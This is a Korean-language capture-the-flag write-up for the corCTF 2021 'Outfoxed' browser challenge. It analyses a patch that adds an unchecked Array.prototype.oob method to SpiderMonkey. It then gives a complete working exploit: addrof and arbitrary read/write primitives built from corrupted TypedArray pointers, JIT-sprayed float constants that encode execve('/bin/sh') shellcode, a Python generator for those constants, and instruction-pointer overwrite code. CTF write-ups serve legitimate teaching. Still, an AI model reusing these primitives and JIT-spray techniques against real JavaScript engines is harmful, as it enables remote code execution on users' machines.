Just your average, easy browser pwn!
Release: https://github.com/h0meb0dy/CTF/raw/main/corCTF%202021/Outfoxed/Outfoxed.zip
Environment Setting
OS: Ubuntu 20.04 (WSL)
# get challenge file
cd ~
mkdir Outfoxed
cd Outfoxed
wget 'https://github.com/h0meb0dy/CTF/raw/main/corCTF 2021/Outfoxed/Outfoxed.zip'
unzip Outfoxed.zip
rm Outfoxed.zip
# install mercurial
python3 -m pip install --user mercurial
export PATH=$(python3 -m site --user-base)/bin:$PATH
echo 'export PATH="'"$(python3 -m site --user-base)"'/bin:$PATH"' >> ~/.zshenv
hg version # test
# get Firefox
cd ~
mkdir Firefox
cd Firefox
curl https://hg.mozilla.org/mozilla-central/raw-file/default/python/mozboot/bin/bootstrap.py -O
python3 bootstrap.py --no-interactive
cd mozilla-unified
# checkout & apply patch
hg update -r 655554:f4922b9e9a6b
git apply ~/Outfoxed/patch
# install missing dependencies
sudo apt install -y rustc cargo llvm
./mach create-mach-environment
# generate mozconfig files
mkdir ~/Firefox/mozconfigs
cat << EOF > ~/Firefox/mozconfigs/debug
ac_add_options --enable-project=js
ac_add_options --enable-debug
mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj/debug
EOF
cat << EOF > ~/Firefox/mozconfigs/release
ac_add_options --enable-project=js
ac_add_options --disable-debug
mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj/release
EOF
# build Spidermonkey
export MOZCONFIG=$HOME/Firefox/mozconfigs/debug
./mach build
export MOZCONFIG=$HOME/Firefox/mozconfigs/release
./mach build
문제에서는 sandbox가 없는 Firefox를 대상으로 exploit을 작성해야 하지만, 편의를 위해 Spidermonkey만 빌드합니다.
Analysis
Patch
diff --git a/js/src/builtin/Array.h b/js/src/builtin/Array.h
--- a/js/src/builtin/Array.h
+++ b/js/src/builtin/Array.h
@@ -113,6 +113,8 @@ extern bool array_shift(JSContext* cx, u
extern bool array_slice(JSContext* cx, unsigned argc, js::Value* vp);
+extern bool array_oob(JSContext* cx, unsigned argc, Value* vp);
+
extern JSObject* ArraySliceDense(JSContext* cx, HandleObject obj, int32_t begin,
int32_t end, HandleObject result);
array_oob()
함수가 추가되었습니다.
diff --git a/js/src/builtin/Array.cpp b/js/src/builtin/Array.cpp
--- a/js/src/builtin/Array.cpp
+++ b/js/src/builtin/Array.cpp
@@ -428,6 +428,29 @@ static inline bool GetArrayElement(JSCon
return GetProperty(cx, obj, obj, id, vp);
}
+static inline bool GetTotallySafeArrayElement(JSContext* cx, HandleObject obj,
+ uint64_t index, MutableHandleValue vp) {
+ if (obj->is<NativeObject>()) {
+ NativeObject* nobj = &obj->as<NativeObject>();
+ vp.set(nobj->getDenseElement(size_t(index)));
+ if (!vp.isMagic(JS_ELEMENTS_HOLE)) {
+ return true;
+ }
+
+ if (nobj->is<ArgumentsObject>() && index <= UINT32_MAX) {
+ if (nobj->as<ArgumentsObject>().maybeGetElement(uint32_t(index), vp)) {
+ return true;
+ }
+ }
+ }
+
+ RootedId id(cx);
+ if (!ToId(cx, index, &id)) {
+ return false;
+ }
+ return GetProperty(cx, obj, obj, id, vp);
+}
+
static inline bool DefineArrayElement(JSContext* cx, HandleObject obj,
uint64_t index, HandleValue value) {
RootedId id(cx);
@@ -2624,6 +2647,7 @@ enum class ArrayAccess { Read, Write };
template <ArrayAccess Access>
static bool CanOptimizeForDenseStorage(HandleObject arr, uint64_t endIndex) {
/* If the desired properties overflow dense storage, we can't optimize. */
+
if (endIndex > UINT32_MAX) {
return false;
}
@@ -3342,6 +3366,34 @@ static bool ArraySliceOrdinary(JSContext
return true;
}
+
+bool js::array_oob(JSContext* cx, unsigned argc, Value* vp) {
+ CallArgs args = CallArgsFromVp(argc, vp);
+ RootedObject obj(cx, ToObject(cx, args.thisv()));
+ double index;
+ if (args.length() == 1) {
+ if (!ToInteger(cx, args[0], &index)) {
+ return false;
+ }
+ GetTotallySafeArrayElement(cx, obj, index, args.rval());
+ } else if (args.length() == 2) {
+ if (!ToInteger(cx, args[0], &index)) {
+ return false;
+ }
+ NativeObject* nobj =
+ obj->is<NativeObject>() ? &obj->as<NativeObject>() : nullptr;
+ if (nobj) {
+ nobj->setDenseElement(index, args[1]);
+ } else {
+ puts("Not dense");
+ }
+ GetTotallySafeArrayElement(cx, obj, index, args.rval());
+ } else {
+ return false;
+ }
+ return true;
+}
+
/* ES 2016 draft Mar 25, 2016 22.1.3.23. */
bool js::array_slice(JSContext* cx, unsigned argc, Value* vp) {
AutoGeckoProfilerEntry pseudoFrame(
@@ -3569,6 +3621,7 @@ static const JSJitInfo array_splice_info
};
static const JSFunctionSpec array_methods[] = {
+ JS_FN("oob", array_oob, 2, 0),
JS_FN(js_toSource_str, array_toSource, 0, 0),
JS_SELF_HOSTED_FN(js_toString_str, "ArrayToString", 0, 0),
JS_FN(js_toLocaleString_str, array_toLocaleString, 0, 0),
array_oob()
는 JavaScript에서 array의 method 중 oob()
에 해당합니다.
OOB read
/* mozilla-unified/js/src/builtin/Array.cpp */
bool js::array_oob(JSContext* cx, unsigned argc, Value* vp) {
CallArgs args = CallArgsFromVp(argc, vp);
RootedObject obj(cx, ToObject(cx, args.thisv()));
double index;
if (args.length() == 1) {
if (!ToInteger(cx, args[0], &index)) {
return false;
}
GetTotallySafeArrayElement(cx, obj, index, args.rval());
} else if (args.length() == 2) {
...
}
oob()
의 인자가 1개(index)인 경우, obj
에서 index
위치의 값을 읽어서 반환합니다. 이때 패치에서 새로 추가된 GetTotallySafeArrayElement()
함수를 사용합니다.
/* mozilla-unified/js/src/builtin/Array.cpp */
static inline bool GetArrayElement(JSContext* cx, HandleObject obj,
uint64_t index, MutableHandleValue vp) {
if (obj->is<NativeObject>()) {
NativeObject* nobj = &obj->as<NativeObject>();
if (index < nobj->getDenseInitializedLength()) {
vp.set(nobj->getDenseElement(size_t(index)));
if (!vp.isMagic(JS_ELEMENTS_HOLE)) {
return true;
}
}
if (nobj->is<ArgumentsObject>() && index <= UINT32_MAX) {
if (nobj->as<ArgumentsObject>().maybeGetElement(uint32_t(index), vp)) {
return true;
}
}
}
RootedId id(cx);
if (!ToId(cx, index, &id)) {
return false;
}
return GetProperty(cx, obj, obj, id, vp);
}
static inline bool GetTotallySafeArrayElement(JSContext* cx, HandleObject obj,
uint64_t index, MutableHandleValue vp) {
if (obj->is<NativeObject>()) {
NativeObject* nobj = &obj->as<NativeObject>();
vp.set(nobj->getDenseElement(size_t(index)));
if (!vp.isMagic(JS_ELEMENTS_HOLE)) {
return true;
}
if (nobj->is<ArgumentsObject>() && index <= UINT32_MAX) {
if (nobj->as<ArgumentsObject>().maybeGetElement(uint32_t(index), vp)) {
return true;
}
}
}
RootedId id(cx);
if (!ToId(cx, index, &id)) {
return false;
}
return GetProperty(cx, obj, obj, id, vp);
}
GetTotallySafeArrayElement()
를 기존의 GetArrayElement()
와 비교해 보면, obj
의 size와 index
를 비교하는 bound check(if (index < nobj->getDenseInitializedLength())
)가 제거되었습니다. 따라서 OOB read가 가능합니다.
OOB write
/* mozilla-unified/js/src/builtin/Array.cpp */
bool js::array_oob(JSContext* cx, unsigned argc, Value* vp) {
...
} else if (args.length() == 2) {
if (!ToInteger(cx, args[0], &index)) {
return false;
}
NativeObject* nobj =
obj->is<NativeObject>() ? &obj->as<NativeObject>() : nullptr;
if (nobj) {
nobj->setDenseElement(index, args[1]);
} else {
puts("Not dense");
}
GetTotallySafeArrayElement(cx, obj, index, args.rval());
} else {
return false;
}
return true;
}
oob()
의 인자가 2개(index, value)인 경우, setDenseElement()
를 호출하여 obj
의 index
위치에 value(args[1]
)를 넣고 그 value를 반환합니다.
/* mozilla-unified/js/src/vm/NativeObject.h */
void setDenseElement(uint32_t index, const Value& val) {
// Note: Streams code can call this for the internal ListObject type with
// MagicValue(JS_WRITABLESTREAM_CLOSE_RECORD).
MOZ_ASSERT_IF(val.isMagic(), val.whyMagic() != JS_ELEMENTS_HOLE);
setDenseElementUnchecked(index, val);
}
void setDenseElementUnchecked(uint32_t index, const Value& val) {
MOZ_ASSERT(index < getDenseInitializedLength());
MOZ_ASSERT(!denseElementsAreFrozen());
checkStoredValue(val);
elements_[index].set(this, HeapSlot::Element, unshiftedIndex(index), val);
}
setDenseElement()
→ setDenseElementUnchecked()
순서로 호출되어 index
에 val
을 저장하는데, bound check는 따로 없고 setDenseElementUnchecked()
에서 MOZ_ASSERT()
로만 검사합니다. 따라서 OOB write가 가능합니다.
Proof of Concept
Exploit
Helper functions
/* helpers */
let fi_buf = new ArrayBuffer(8);
let f_buf = new Float64Array(fi_buf);
let i_buf = new BigUint64Array(fi_buf);
// convert float to bigint
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
// convert integer to hex string
function hex(i) {
return '0x' + i.toString(16);
}
Addrof
TypedArray의 elements pointer를 덮으면 임의의 주소에서 값을 읽거나 쓸 수 있습니다.
주소를 구하고자 하는 object를 array에 넣고, 그 array의 elements pointer로 TypedArray의 elements pointer를 덮어쓰면 object의 주소를 TypedArray의 type으로 가져올 수 있습니다.
let arr;
let obj_arr;
let addrof_arr;
let aarw_arr;
function f() {
arr = [1.1];
obj_arr = [{}];
addrof_arr = new BigUint64Array(1);
aarw_arr = new BigUint64Array(1);
let elements = ftoi(arr.oob(25)); // elements pointer of |addrof_arr|
elements -= 0x90n;
arr.oob(25, itof(elements)); // overwrite elements pointer of |addrof_arr|
}
f();
/* get address of |obj| */
function addrof(obj) {
obj_arr[0] = obj;
return addrof_arr[0] & 0xffffffffffffn; // remove tagging
}
/* addrof test */
let tmp_obj = {};
dumpObject(tmp_obj);
console.log(hex(addrof(tmp_obj)));
Arbitrary address read/write
/* arbitrary address read */
function aar(addr) {
arr.oob(37, itof(addr)); // overwrite elements pointer of |aarw_arr|
return aarw_arr[0];
}
/* aar test */
let tmp_arr = [1.1];
console.log(hex(aar(addrof(tmp_arr) + 0x28n)));
/* arbitrary address write */
function aaw(addr, value) {
arr.oob(37, itof(addr)); // overwrite elements pointer of |aarw_arr|
aarw_arr[0] = value;
}
/* aaw test */
let tmp_arr = [1.1];
aaw(addrof(tmp_arr) + 0x28n, ftoi(2.2));
console.log(tmp_arr[0]);
Execute shellcode
function sc() {
let a = 2261634.5098039214; // 0x4141414141414141
}
for (let i = 0; i < 0x10000; i++) { sc(); } // optimization
dumpObject(sc);
sc()
가 최적화되면 상수 0x4141414141414141
이 코드에 그대로 삽입됩니다.
위의 과정으로 sc()
의 instruction pointer를 찾을 수 있고,
변수 a
에 넣은 상수가 코드에 그대로 들어간 것을 확인할 수 있습니다.
이 부분에 shellcode를 삽입하고 AAW로 이용하여 sc()
의 instruction pointer를 shellcode의 주소로 덮어쓰면 원하는 코드를 실행할 수 있습니다. 실행하고자 하는 shellcode가 8바이트보다 길 경우에는 jmp
instruction을 이용하여 여러 개의 shellcode를 chain으로 연결하면 길이 제한 없이 shellcode를 실행할 수 있습니다.
from pwn import context, asm, u32, u64
context(arch='amd64')
# execve("/bin/sh", 0, 0)
sc = f'''
mov eax, {u32(b'/sh' + bytes([0]))}
shl rax, 32
mov ebx, {u32(b'/bin')}
add rax, rbx
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
xor rax, rax
mov al, 0x3b
syscall
'''.split('\n')
shellcode = []
for s in sc:
tmp = asm(s)
if len(shellcode) == 0:
shellcode.append(tmp)
elif len(shellcode[-1]) + len(tmp) <= 6:
shellcode[-1] += tmp
else:
shellcode[-1] = shellcode[-1].ljust(6, b'\x90') # NOP sled
shellcode[-1] += b'\xeb\x06' # jmp 6
shellcode.append(tmp)
for i in range(len(shellcode)):
print(hex(u64(shellcode[i].ljust(8, b'\x90'))))
function sc() {
let a = 2.4877840611688283e-275; // 0x6eb900068732fb8n
let b = 2.4879820006961738e-275; // 0x6eb909020e0c148n
let c = 2.4879355641325586e-275; // 0x6eb906e69622fbbn
let d = 2.4879822587474174e-275; // 0x6eb909050d80148n
let e = 2.5238142336103634e-275; // 0x6ebf63148e78948n
let f = 2.5047750737288703e-275; // 0x6ebc03148d23148n
let g = -6.828523606635936e-229; // 0x90909090050f3bb0n
}
for (let i = 0; i < 0x10000; i++) { sc(); } // optimization
Instruction의 시작 지점으로부터 shellcode까지의 거리는 shellcode의 길이, 빌드 모드 등 다양한 변수에 따라 달라질 수 있습니다. 따라서 runtime에 메모리에서 shellcode를 탐색하는 과정을 거치면 exploit의 reliability를 보장할 수 있습니다.
/* find shellcode in memory */
let inst = aar(aar(addrof(sc) + 0x28n)); // instruction pointer of sc()
let offset = 0n; // offset of shellcode(|a0|) from |inst|
while (aar(inst + offset) != 0x6eb900068732fb8n) {
offset++;
}
기존의 instruction pointer에 offset
을 더해서 덮어쓴 후 sc()
를 호출하면 shellcode가 실행되어 shell을 획득할 수 있습니다.
Full exploit
/* helpers */
let fi_buf = new ArrayBuffer(8);
let f_buf = new Float64Array(fi_buf);
let i_buf = new BigUint64Array(fi_buf);
// convert float to bigint
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
// convert integer to hex string
function hex(i) {
return '0x' + i.toString(16);
}
let arr;
let obj_arr;
let addrof_arr;
let aarw_arr;
function f() {
arr = [1.1];
obj_arr = [{}];
addrof_arr = new BigUint64Array(1);
aarw_arr = new BigUint64Array(1);
let elements = ftoi(arr.oob(25)); // elements pointer of |addrof_arr|
elements -= 0x90n;
arr.oob(25, itof(elements)); // overwrite elements pointer of |addrof_arr|
}
f();
/* get address of |obj| */
function addrof(obj) {
obj_arr[0] = obj;
return addrof_arr[0] & 0xffffffffffffn; // remove tagging
}
/* arbitrary address read */
function aar(addr) {
arr.oob(37, itof(addr)); // overwrite elements pointer of |aarw_arr|
return aarw_arr[0];
}
/* arbitrary address write */
function aaw(addr, value) {
arr.oob(37, itof(addr)); // overwrite elements pointer of |aarw_arr|
aarw_arr[0] = value;
}
function sc() {
let a = 2.4877840611688283e-275; // 0x6eb900068732fb8n
let b = 2.4879820006961738e-275; // 0x6eb909020e0c148n
let c = 2.4879355641325586e-275; // 0x6eb906e69622fbbn
let d = 2.4879822587474174e-275; // 0x6eb909050d80148n
let e = 2.5238142336103634e-275; // 0x6ebf63148e78948n
let f = 2.5047750737288703e-275; // 0x6ebc03148d23148n
let g = -6.828523606635936e-229; // 0x90909090050f3bb0n
}
for (let i = 0; i < 0x10000; i++) { sc(); } // optimization
/* find shellcode in memory */
let inst = aar(aar(addrof(sc) + 0x28n)); // instruction pointer of sc()
let offset = 0n; // offset of shellcode(|a0|) from |inst|
while (aar(inst + offset) != 0x6eb900068732fb8n) {
offset++;
}
inst += offset;
aaw(aar(addrof(sc) + 0x28n), inst); // overwrite instruction pointer of sc()
sc(); // execute shellcode